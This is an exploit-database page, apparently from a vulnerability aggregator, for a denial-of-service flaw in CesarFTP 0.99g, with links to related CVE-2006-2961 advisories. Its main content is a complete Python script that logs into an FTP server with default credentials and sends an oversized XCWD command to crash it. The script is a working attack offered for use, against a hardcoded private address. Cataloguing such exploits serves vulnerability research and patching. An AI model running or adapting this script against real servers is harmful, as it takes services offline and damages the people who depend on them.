CesarFTP 0.99g - XCWD Denial of Service

🗓️ 19 Jan 2016 00:00:00Reported by Irving AguilarType

zdt🔗 0day.today👁 35 Views

CesarFTP 0.99g XCWD Denial of Service exploi

Reporter	Title	Published	Views	Family All 12
canvas	Immunity Canvas: CESARFTP	12 Jun 200620:06	–	canvas
Tenable Nessus	CesarFTP Multiple Vulnerabilities (OF, File Access, more)	18 Jun 200300:00	–	nessus
Circl	CVE-2006-2961	23 Feb 201100:00	–	circl
Check Point Advisories	Preemptive Protection against CesarFTP and XM Easy Personal FTP Server Buffer Overflow Vulnerabilities	20 Jul 200600:00	–	checkpoint_advisories
CVE	CVE-2006-2961	12 Jun 200620:00	–	cve
Cvelist	CVE-2006-2961	12 Jun 200620:00	–	cvelist
Exploit DB	CesarFTP 0.99g - 'MKD' Remote Buffer Overflow (Metasploit) (2)	23 Feb 201100:00	–	exploitdb
Metasploit	Cesar FTP 0.99g MKD Command Buffer Overflow	12 Nov 200615:57	–	metasploit
NVD	CVE-2006-2961	12 Jun 200620:06	–	nvd
OpenVAS	CesarFTP MKD Command Buffer Overflow DoS Vulnerability	22 Aug 200800:00	–	openvas

#!/usr/bin/env python
#-*- coding:utf-8 -*-
# Exploit Title         : CesarFTP 0.99g -(XCWD)Remote BoF Exploit
# Discovery by              : Irving Aguilar
# Email         : [email protected]
# Discovery Date        : 18.01.2016
# Tested Version        : 0.99g
# Vulnerability Type  : Denial of Service (DoS)
# Tested on OS          : Windows XP Professional SP3 x86 es
 
import socket
 
 
buffer = 'XCWD ' + '\n' * 667 +'\x90' * 20
target = '192.168.1.73'
port = 21
 
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
connect = s.connect((target, port))
print '[*] Target: ' + target
print '[*] Port: ' + str(port)
s.recv(1024)
 
s.send('USER ftp\r\n')
s.recv(1024)
 
s.send('PASS ftp\r\n')
s.recv(1024)
 
s.send( buffer  + '\r\n')
print '[+] Buffer sent'
s.close()

#  0day.today [2018-01-05]  #

19 Jan 2016 00:00Current

6.5Medium risk

Vulners AI Score6.5

EPSS0.83469